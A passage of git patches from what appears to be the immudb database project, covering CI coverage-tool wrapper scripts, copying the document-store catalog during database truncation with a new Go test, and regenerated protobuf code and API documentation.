require.Equal(t, i, doc.Document.Fields["pincode"].GetNumberValue()) + } + }) +} + func TestDeleteDocument(t *testing.T) { ctx := context.Background() engine := makeEngine(t) From 08b24490902b18bed05dbbc16dcaa673dc5ea278 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 4 May 2023 18:56:53 -0300 Subject: [PATCH 0502/1062] chore: add go-acc and goveralls to ext-tools folder Signed-off-by: Jeronimo Irazabal --- .github/workflows/pull.yml | 4 ++-- .github/workflows/push.yml | 4 ++-- ext-tools/go-acc | 3 +++ ext-tools/goveralls | 3 +++ 4 files changed, 10 insertions(+), 4 deletions(-) create mode 100755 ext-tools/go-acc create mode 100755 ext-tools/goveralls diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index ee150d8891..9cf6782309 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -150,9 +150,9 @@ jobs: export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./scripts/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole --tags minio || true + ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole --tags minio || true cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out - ./scripts/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} + ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} # Stop minio docker rm -f minio diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 5ab837e9c0..1486455fa2 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -365,9 +365,9 @@ jobs: export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./scripts/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version --tags minio || true + ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version --tags minio || true cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out - ./scripts/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} + ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} # Stop minio docker rm -f minio diff --git a/ext-tools/go-acc b/ext-tools/go-acc new file mode 100755 index 0000000000..6d1e21e7cf --- /dev/null +++ b/ext-tools/go-acc @@ -0,0 +1,3 @@ +#!/usr/bin/env bash + +go run github.com/ory/go-acc "$@" \ No newline at end of file diff --git a/ext-tools/goveralls b/ext-tools/goveralls new file mode 100755 index 0000000000..b9dd150579 --- /dev/null +++ b/ext-tools/goveralls @@ -0,0 +1,3 @@ +#!/usr/bin/env bash + +go run github.com/mattn/goveralls "$@" \ No newline at end of file From 34a6585c42199e704a2c0cb06340bdac27cfb92c Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 1 May 2023 12:29:52 +0530 Subject: [PATCH 0503/1062] chore: copy document catalogue when truncating db --- embedded/document/engine.go | 5 ++ pkg/database/database.go | 15 +++- pkg/database/truncator_test.go | 149 +++++++++++++++++++++++++++++++++ 3 files changed, 167 insertions(+), 2 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 9f516ff144..2ba667d8af 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -971,3 +971,8 @@ func (e *Engine) DeleteDocument(ctx context.Context, collectionName string, quer return nil } + +// CopyCatalogToTx copies the current sql catalog to the ongoing transaction. +func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { + return e.sqlEngine.CopyCatalogToTx(ctx, tx) +} diff --git a/pkg/database/database.go b/pkg/database/database.go index 3a2f4f8f1d..aa42c89bda 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1656,6 +1656,17 @@ func logErr(log logger.Logger, formattedMessage string, err error) error { // CopyCatalog creates a copy of the sql catalog and returns a transaction // that can be used to commit the copy. func (d *db) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { - // TODO: add document store support for truncation too - return d.sqlEngine.CopyCatalogToTx(ctx, tx) + // copy the sql catalog + err := d.sqlEngine.CopyCatalogToTx(ctx, tx) + if err != nil { + return err + } + + // copy the document store catalog + err = d.documentEngine.CopyCatalogToTx(ctx, tx) + if err != nil { + return err + } + + return nil } diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 3e83a19d88..1af4c0f56b 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -25,9 +25,11 @@ import ( "time" "github.com/codenotary/immudb/embedded/store" + schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" + "google.golang.org/protobuf/types/known/structpb" ) func encodeOffset(offset int64, vLogID byte) int64 { @@ -608,3 +610,150 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { <-doneWritesCh <-doneTruncateCh } + +func Test_vlogCompactor_with_document_store(t *testing.T) { + db := setupCommonTest(t) + + exec := func(t *testing.T, stmt string) { + _, ctx, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: stmt}) + require.NoError(t, err) + require.Len(t, ctx, 1) + } + + query := func(t *testing.T, stmt string, expectedRows int) { + res, err := db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt}) + require.NoError(t, err) + require.NoError(t, err) + require.Len(t, res.Rows, expectedRows) + } + + verify := func(t *testing.T, txID uint64) { + lastCommitTx := db.st.LastCommittedTxID() + + hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) + require.NoError(t, err) + require.NotNil(t, hdr.Metadata) + require.True(t, hdr.Metadata.HasTruncatedTxID()) + + truncatedTxId, err := hdr.Metadata.GetTruncatedTxID() + require.NoError(t, err) + require.Equal(t, txID, truncatedTxId) + } + + // create a new table + exec(t, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)") + exec(t, "CREATE UNIQUE INDEX ON table1 (name)") + + // create new document store + // create collection + collectionName := "mycollection" + _, err := db.CreateCollection(context.Background(), &schemav2.CollectionCreateRequest{ + Name: collectionName, + IndexKeys: map[string]*schemav2.IndexOption{ + "pincode": newIndexOption(schemav2.IndexType_INTEGER), + }, + }) + require.NoError(t, err) + + t.Run("succeed truncating sql catalog", func(t *testing.T) { + lastCommitTx := db.st.LastCommittedTxID() + + hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) + require.NoError(t, err) + + c := NewVlogTruncator(db) + require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) + + // should add two extra transaction with catalogue + require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) + verify(t, hdr.ID) + }) + + t.Run("succeed loading catalog from latest schema", func(t *testing.T) { + query(t, "SELECT * FROM table1", 0) + + // get collection + cinfo, err := db.GetCollection(context.Background(), &schemav2.CollectionGetRequest{ + Name: collectionName, + }) + require.NoError(t, err) + resp := cinfo.Collection + require.Equal(t, 2, len(resp.IndexKeys)) + require.Contains(t, resp.IndexKeys, "_id") + require.Contains(t, resp.IndexKeys, "pincode") + require.Equal(t, schemav2.IndexType_INTEGER, resp.IndexKeys["pincode"].Type) + }) + + // insert some data + for i := 1; i <= 5; i++ { + var err error + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + _, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + require.NoError(t, err) + + res, err := db.InsertDocument(context.Background(), &schemav2.DocumentInsertRequest{ + Collection: collectionName, + Document: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: float64(i)}, + }, + }, + }, + }) + require.NoError(t, err) + require.NotNil(t, res) + } + + // delete txns in the store upto a certain txn + t.Run("succeed truncating sql catalog again", func(t *testing.T) { + lastCommitTx := db.st.LastCommittedTxID() + + hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) + require.NoError(t, err) + + c := NewVlogTruncator(db) + require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) + + // should add an extra transaction with catalogue + require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) + verify(t, hdr.ID) + }) + + t.Run("adding new rows/documents should work", func(t *testing.T) { + exec(t, "INSERT INTO table1(name, amount) VALUES('Foo', 0)") + exec(t, "INSERT INTO table1(name, amount) VALUES('Fin', 0)") + + res, err := db.InsertDocument(context.Background(), &schemav2.DocumentInsertRequest{ + Collection: collectionName, + Document: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 999}, + }, + }, + }, + }) + require.NoError(t, err) + require.NotNil(t, res) + }) + + // check if can query the table with new catalogue + t.Run("succeed loading catalog from latest schema should work", func(t *testing.T) { + query(t, "SELECT * FROM table1", 2) + + cinfo, err := db.GetCollection(context.Background(), &schemav2.CollectionGetRequest{ + Name: collectionName, + }) + require.NoError(t, err) + + resp := cinfo.Collection + require.Equal(t, 2, len(resp.IndexKeys)) + require.Contains(t, resp.IndexKeys, "_id") + require.Contains(t, resp.IndexKeys, "pincode") + require.Equal(t, schemav2.IndexType_INTEGER, resp.IndexKeys["pincode"].Type) + }) +} From 6bd52d8ab6c36b7f04cb0645613e099f3e6e9054 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 4 May 2023 14:15:21 +0530 Subject: [PATCH 0504/1062] chore: handle no more doc error inside response in search --- pkg/api/openapi/apidocs.swagger.json | 4 +- pkg/api/protomodel/authorization.pb.go | 54 ++--- pkg/api/protomodel/docs.md | 264 ++++++++++++------------ pkg/api/protomodel/documents.pb.go | 124 +++++------ pkg/server/documents_operations.go | 10 +- pkg/server/documents_operations_test.go | 200 +++++++++++++++++- 6 files changed, 427 insertions(+), 229 deletions(-) diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index ec4a434003..ad337b24e0 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -941,7 +941,9 @@ "operator": { "$ref": "#/definitions/modelComparisonOperator" }, - "value": {} + "value": { + "type": "object" + } } }, "modelFieldType": { diff --git a/pkg/api/protomodel/authorization.pb.go b/pkg/api/protomodel/authorization.pb.go index 0a2889b9fd..9dfbdaa997 100644 --- a/pkg/api/protomodel/authorization.pb.go +++ b/pkg/api/protomodel/authorization.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.28.1 +// protoc-gen-go v1.30.0 // protoc v3.21.12 // source: authorization.proto @@ -363,40 +363,40 @@ var file_authorization_proto_rawDesc = []byte{ 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x20, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x11, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x92, 0x41, 0x11, 0x0a, 0x0d, + 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, - 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, 0x69, 0x76, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x3a, 0x01, + 0x2a, 0x22, 0x20, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, + 0x69, 0x76, 0x65, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x21, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x63, 0x6c, 0x6f, 0x73, - 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, - 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0xad, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, - 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, - 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, - 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, - 0x20, 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, - 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, - 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, - 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, - 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x92, 0x41, 0x0f, + 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x21, 0x3a, 0x01, 0x2a, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x2f, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x42, 0xad, 0x01, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, 0x12, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, + 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, + 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, + 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, + 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, + 0x75, 0x74, 0x68, 0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 286c6d72a3..00dcb7b210 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -3,70 +3,70 @@ ## Table of Contents -- [authorization.proto](#authorization.proto) - - [CloseSessionRequest](#immudb.model.CloseSessionRequest) - - [CloseSessionResponse](#immudb.model.CloseSessionResponse) - - [KeepAliveRequest](#immudb.model.KeepAliveRequest) - - [KeepAliveResponse](#immudb.model.KeepAliveResponse) - - [OpenSessionRequest](#immudb.model.OpenSessionRequest) - - [OpenSessionResponse](#immudb.model.OpenSessionResponse) +- [authorization.proto](#authorization-proto) + - [CloseSessionRequest](#immudb-model-CloseSessionRequest) + - [CloseSessionResponse](#immudb-model-CloseSessionResponse) + - [KeepAliveRequest](#immudb-model-KeepAliveRequest) + - [KeepAliveResponse](#immudb-model-KeepAliveResponse) + - [OpenSessionRequest](#immudb-model-OpenSessionRequest) + - [OpenSessionResponse](#immudb-model-OpenSessionResponse) - - [AuthorizationService](#immudb.model.AuthorizationService) + - [AuthorizationService](#immudb-model-AuthorizationService) -- [documents.proto](#documents.proto) - - [Collection](#immudb.model.Collection) - - [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) - - [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) - - [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) - - [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) - - [CollectionGetRequest](#immudb.model.CollectionGetRequest) - - [CollectionGetResponse](#immudb.model.CollectionGetResponse) - - [CollectionListRequest](#immudb.model.CollectionListRequest) - - [CollectionListResponse](#immudb.model.CollectionListResponse) - - [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) - - [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) - - [DocumentAtRevision](#immudb.model.DocumentAtRevision) - - [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) - - [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) - - [DocumentDeleteRequest](#immudb.model.DocumentDeleteRequest) - - [DocumentDeleteResponse](#immudb.model.DocumentDeleteResponse) - - [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) - - [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) - - [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) - - [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) - - [DocumentProofRequest](#immudb.model.DocumentProofRequest) - - [DocumentProofResponse](#immudb.model.DocumentProofResponse) - - [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) - - [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) - - [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) - - [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) - - [Field](#immudb.model.Field) - - [FieldComparison](#immudb.model.FieldComparison) - - [Index](#immudb.model.Index) - - [IndexCreateRequest](#immudb.model.IndexCreateRequest) - - [IndexCreateResponse](#immudb.model.IndexCreateResponse) - - [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) - - [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) - - [Query](#immudb.model.Query) - - [QueryExpression](#immudb.model.QueryExpression) +- [documents.proto](#documents-proto) + - [Collection](#immudb-model-Collection) + - [CollectionCreateRequest](#immudb-model-CollectionCreateRequest) + - [CollectionCreateResponse](#immudb-model-CollectionCreateResponse) + - [CollectionDeleteRequest](#immudb-model-CollectionDeleteRequest) + - [CollectionDeleteResponse](#immudb-model-CollectionDeleteResponse) + - [CollectionGetRequest](#immudb-model-CollectionGetRequest) + - [CollectionGetResponse](#immudb-model-CollectionGetResponse) + - [CollectionListRequest](#immudb-model-CollectionListRequest) + - [CollectionListResponse](#immudb-model-CollectionListResponse) + - [CollectionUpdateRequest](#immudb-model-CollectionUpdateRequest) + - [CollectionUpdateResponse](#immudb-model-CollectionUpdateResponse) + - [DocumentAtRevision](#immudb-model-DocumentAtRevision) + - [DocumentAuditRequest](#immudb-model-DocumentAuditRequest) + - [DocumentAuditResponse](#immudb-model-DocumentAuditResponse) + - [DocumentDeleteRequest](#immudb-model-DocumentDeleteRequest) + - [DocumentDeleteResponse](#immudb-model-DocumentDeleteResponse) + - [DocumentInsertManyRequest](#immudb-model-DocumentInsertManyRequest) + - [DocumentInsertManyResponse](#immudb-model-DocumentInsertManyResponse) + - [DocumentInsertRequest](#immudb-model-DocumentInsertRequest) + - [DocumentInsertResponse](#immudb-model-DocumentInsertResponse) + - [DocumentProofRequest](#immudb-model-DocumentProofRequest) + - [DocumentProofResponse](#immudb-model-DocumentProofResponse) + - [DocumentSearchRequest](#immudb-model-DocumentSearchRequest) + - [DocumentSearchResponse](#immudb-model-DocumentSearchResponse) + - [DocumentUpdateRequest](#immudb-model-DocumentUpdateRequest) + - [DocumentUpdateResponse](#immudb-model-DocumentUpdateResponse) + - [Field](#immudb-model-Field) + - [FieldComparison](#immudb-model-FieldComparison) + - [Index](#immudb-model-Index) + - [IndexCreateRequest](#immudb-model-IndexCreateRequest) + - [IndexCreateResponse](#immudb-model-IndexCreateResponse) + - [IndexDeleteRequest](#immudb-model-IndexDeleteRequest) + - [IndexDeleteResponse](#immudb-model-IndexDeleteResponse) + - [Query](#immudb-model-Query) + - [QueryExpression](#immudb-model-QueryExpression) - - [ComparisonOperator](#immudb.model.ComparisonOperator) - - [FieldType](#immudb.model.FieldType) + - [ComparisonOperator](#immudb-model-ComparisonOperator) + - [FieldType](#immudb-model-FieldType) - - [DocumentService](#immudb.model.DocumentService) + - [DocumentService](#immudb-model-DocumentService) - [Scalar Value Types](#scalar-value-types) - +

Top

## authorization.proto - + ### CloseSessionRequest @@ -76,7 +76,7 @@ - + ### CloseSessionResponse @@ -86,7 +86,7 @@ - + ### KeepAliveRequest @@ -96,7 +96,7 @@ - + ### KeepAliveResponse @@ -106,7 +106,7 @@ - + ### OpenSessionRequest @@ -123,7 +123,7 @@ - + ### OpenSessionResponse @@ -147,29 +147,29 @@ - + ### AuthorizationService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| OpenSession | [OpenSessionRequest](#immudb.model.OpenSessionRequest) | [OpenSessionResponse](#immudb.model.OpenSessionResponse) | | -| KeepAlive | [KeepAliveRequest](#immudb.model.KeepAliveRequest) | [KeepAliveResponse](#immudb.model.KeepAliveResponse) | | -| CloseSession | [CloseSessionRequest](#immudb.model.CloseSessionRequest) | [CloseSessionResponse](#immudb.model.CloseSessionResponse) | | +| OpenSession | [OpenSessionRequest](#immudb-model-OpenSessionRequest) | [OpenSessionResponse](#immudb-model-OpenSessionResponse) | | +| KeepAlive | [KeepAliveRequest](#immudb-model-KeepAliveRequest) | [KeepAliveResponse](#immudb-model-KeepAliveResponse) | | +| CloseSession | [CloseSessionRequest](#immudb-model-CloseSessionRequest) | [CloseSessionResponse](#immudb-model-CloseSessionResponse) | | - +

Top

## documents.proto - + ### Collection @@ -179,15 +179,15 @@ | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | idFieldName | [string](#string) | | | -| fields | [Field](#immudb.model.Field) | repeated | | -| indexes | [Index](#immudb.model.Index) | repeated | | +| fields | [Field](#immudb-model-Field) | repeated | | +| indexes | [Index](#immudb-model-Index) | repeated | | - + ### CollectionCreateRequest @@ -197,15 +197,15 @@ | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | idFieldName | [string](#string) | | | -| fields | [Field](#immudb.model.Field) | repeated | | -| indexes | [Index](#immudb.model.Index) | repeated | | +| fields | [Field](#immudb-model-Field) | repeated | | +| indexes | [Index](#immudb-model-Index) | repeated | | - + ### CollectionCreateResponse @@ 